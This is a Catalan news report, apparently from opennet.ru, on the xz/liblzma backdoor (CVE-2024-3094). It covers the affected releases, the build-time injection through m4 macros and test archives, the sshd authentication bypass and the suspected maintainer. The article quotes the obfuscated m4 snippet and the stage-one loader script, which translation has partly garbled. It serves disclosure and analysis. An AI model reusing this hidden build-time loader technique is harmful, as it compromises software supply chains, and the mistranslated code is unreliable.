S'ha descobert una porta posterior a la biblioteca xz/liblzma que permet l'entrada mitjançant sshd

En el paquet XZ Utils, que inclou la biblioteca liblzma i les utilitats per treballar amb dades comprimides en format “.xz”, s'ha identificat una porta posterior (CVE-2024-3094) que permet la intercepció i modificació de les dades processades per les aplicacions associades. amb la biblioteca liblzma. L'objectiu principal de la porta del darrere és el servidor OpenSSH, que en algunes distribucions s'inclou amb la biblioteca libsystemd, que al seu torn utilitza liblzma. Enllaçar sshd amb una biblioteca vulnerable permet als atacants accedir al servidor SSH sense autenticació.

La porta del darrere estava present a les versions oficials 5.6.0 i 5.6.1, publicades el 24 de febrer i el 9 de març, que van aconseguir entrar en algunes distribucions i repositoris, per exemple, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide i 40-beta, openSUSE factory and tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Es recomana a tots els usuaris de les versions xz 5.6.0 i 5.6.1 que tornin urgentment a la versió 5.4.6.

Entre els factors que mitiguen el problema, es pot assenyalar que la versió de liblzma amb porta posterior no va aconseguir formar part de les versions estables de grans distribucions, sinó que va afectar openSUSE Tumbleweed i Fedora 40-beta. Arch Linux i Gentoo van utilitzar una versió vulnerable de zx, però no són susceptibles a l'atac perquè no apliquen el pedaç systemd-notify a openssh, la qual cosa fa que sshd estigui vinculat a liblzma. La porta posterior només afecta els sistemes x86_64 basats en el nucli Linux i la biblioteca Glibc C.

El codi d'activació de la porta del darrere es va amagar a les macros m4 del fitxer build-to-host.m4 utilitzat pel conjunt d'eines automake durant la creació. Durant el muntatge, durant l'execució d'operacions ofuscades intricades basades en arxius (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), utilitzats per provar la correcció del funcionament, es va generar un fitxer objecte amb codi maliciós, que es va incloure a la biblioteca liblzma i va canviar la lògica de funcionament algunes de les seves funcions. Les macros m4 que activen la porta posterior es van incloure a les tarballs de llançament, però no estaven al repositori Git. Al mateix temps, arxius de proves maliciosos estaven presents al repositori, és a dir. la persona que va implementar la porta posterior tenia accés tant al repositori com als processos de generació de llançaments.

Quan s'utilitza liblzma a les aplicacions, es podrien utilitzar canvis maliciosos per interceptar o modificar dades, o afectar el funcionament de sshd. En particular, el codi maliciós va falsificar la funció RSA_public_decrypt per evitar el procés d'autenticació sshd. La porta del darrere incloïa protecció contra la detecció i no es va manifestar quan es van establir les variables d'entorn LANG i TERM (és a dir, quan s'executava el procés al terminal) i les variables d'entorn LD_DEBUG i LD_PROFILE no es van establir, i també es va activar només quan s'executava el /usr/sbin/sshd fitxer executable . La porta posterior també tenia un mitjà per detectar l'execució en entorns de depuració.

En particular, el fitxer m4/build-to-host.m4 va utilitzar gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

A la primera construcció, l'operació grep va trobar el fitxer tests/files/bad-3-corrupt_lzma2.xz, que, quan es va desempaquetar, va generar l'script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && sortida 0 [ ! $(uname) = "Linux" ] && sortida 0 [ ! $(uname) = "Linux" ] && sortida 0 [ ! $(uname) = "Linux" ] && sortida 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` si prova -f ../../config.status; llavors eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((cap -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/dev/ null) && cap -c +2048 && (cap -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/dev/null) && cap -c +2048 && (cap - c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/dev/null) && cap - c +2048 && (cap -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/ dev/null) && capçalera -c +2048 && (capçalera -c +1024 >/dev/null) && capçalera -c +2048 && (capçalera -c +1024 >/dev/null) && capçalera -c +2048 && ( head -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/dev/null) && cap -c +2048 && (cap -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

Com els atacants van aconseguir accedir a la infraestructura del projecte xz encara no s'ha aclarit del tot. Encara no està clar quants usuaris i projectes es van veure compromesos com a conseqüència de la porta del darrere. El suposat autor de la porta del darrere (JiaT75 - Jia Tan), que va publicar arxius amb codi maliciós al repositori, va mantenir correspondència amb els desenvolupadors de Fedora i va enviar sol·licituds d'extracció a Debian relacionades amb la transició de distribucions a la branca xz 5.6.0, i no ho va fer. despertar sospita, ja que va participar en xz ha estat desenvolupant des de fa dos anys i és el segon desenvolupador pel que fa al nombre de canvis realitzats. A més del projecte xz, el suposat autor de la porta del darrere també va participar en el desenvolupament dels paquets xz-java i xz-embedded. A més, Jia Tan fa uns dies es va incloure en el nombre de mantenedors del projecte XZ Embedded utilitzat al nucli de Linux.

El canvi maliciós es va descobrir després d'analitzar el consum excessiu de CPU i els errors generats per valgrind en connectar-se mitjançant ssh a sistemes basats en Debian sid. Cal destacar que la versió xz 5.6.1 incloïa canvis preparats pel suposat autor de la porta del darrere en resposta a les queixes sobre alentiments i bloquejos de sshd que van sorgir després d'actualitzar a la versió zx 5.6.0 amb la porta posterior. A més, l'any passat, Jia Tan va fer canvis que eren incompatibles amb el mode d'inspecció "-fsanitize=address", la qual cosa va fer que es desactivés durant les proves de fuzz.

Font: opennet.ru

Afegeix comentari